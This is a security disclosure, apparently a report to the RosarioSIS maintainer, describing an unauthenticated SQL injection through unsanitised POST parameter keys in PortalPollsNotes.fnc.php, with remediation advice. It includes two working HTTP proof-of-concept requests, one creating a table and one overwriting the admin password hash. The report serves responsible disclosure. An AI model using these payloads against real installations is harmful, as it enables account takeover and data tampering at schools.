Unauthenticated SQL Injection in /ProgramFunctions/PortalPollsNotes.fnc.php Due to Insufficient Sanitization
Hi @francoisjacquet,
I found an SQL Injection issue in the latest version of RosarioSIS. Details are described below.
Unauthenticated SQL Injection in /ProgramFunctions/PortalPollsNotes.fnc.php Due to Insufficient Sanitization
In RosarioSIS, user input is insufficiently sanitized, which leads to an unauthenticated SQL Injection vulnerability.
Description
In general, user input is sanitized staring in line 177 in Warehouse.php
:
/**
* Sanitize $_REQUEST array
* ($_POST + $_GET)
*/
// Escape strings for DB queries.
array_rwalk( $_REQUEST, 'DBEscapeString' );
First of all, only the $_REQUEST
array is sanitized. While it is true that $_REQUEST
contains GET
and POST
parameters, the array itself is independent from the special $_GET
and $_POST
arrays. Therefore sanitizing $_REQUEST
does not automatically also sanitize $_GET
and $_POST
. This means that whenever input from these two arrays is directly used, it is unsanitized and creates potential for vulnerabilities. Second, array_rwalk
, as defined in the same file, here only sanitizes the values of HTTP parameters and not the keys. This becomes relevant if HTTP parameter keys are directly inserted into an SQL query.
One example code location in which both of these issues can be used to achieve SQL Injection can be found in the file ProgramFunctions/PortalPollsNotes.fnc.php
. The PortalPollsVote(...)
function as defined from line 21 onwards begins like so:
function PortalPollsVote( $poll_id, $votes_array )
{
// Get poll:
$poll_RET = DBGet( "SELECT EXCLUDED_USERS, VOTES_NUMBER, DISPLAY_VOTES
FROM PORTAL_POLLS
WHERE ID='" . $poll_id . "'" );
The parameter $poll_id
is directly inserted into an SQL query, which is immediately executed. This parameter is originally created in a foreach
loop that iterates over HTTP POST
parameters, see lines 382-389 in the same file:
foreach ( (array) $_POST['votes'] as $poll_id => $votes_array )
{
if ( ! empty( $votes_array ) )
{
echo PortalPollsVote( $poll_id, $votes_array );
break;
}
}
Because $poll_id
gets assigned an HTTP POST
parameter key, it holds unsanitized user input, as described above, and can be used to achieve SQL Injection.
Proof of Concept
Making the following POST
request to a RosarioSIS instance as an unauthenticated user creates a new SQL table called notsosecure
:
POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
Host: rosariosis.local
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 54
votes['; CREATE TABLE notsosecure(t text) --]=hello
Making the following POST
request to a RosarioSIS instance as an unauthenticated user changes the admin's password to "password":
POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
Host: rosariosis.local
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 178
votes['; UPDATE staff SET password%3d'$6$8f3d44f629ce994f$10QZrn8evmCTv2Nywt5jlWbL3hMbKmwPOeOqNVUzV5cr523ENoVj4FpWrvW1HGfn/XPAq0rwTFY7Eea3YPLOY/' WHERE staff_id%3d'1'; --]=hello
Note that in both cases the POST
data may have to be urlencoded (further) beforehand. Also, the hostname may have to be adapted to your setup.
While reading data is not as trivial, it can be achieved with Error-based SQL Injections and other techniques, which is omitted here.
Remediation
First of all, soley sanitizing $_REQUEST
is not enough. $_GET
and, more importantly in this instance, $_POST
also need to be sanitized. Second, HTTP parameter keys need to be sanitized before being used inside and SQL query.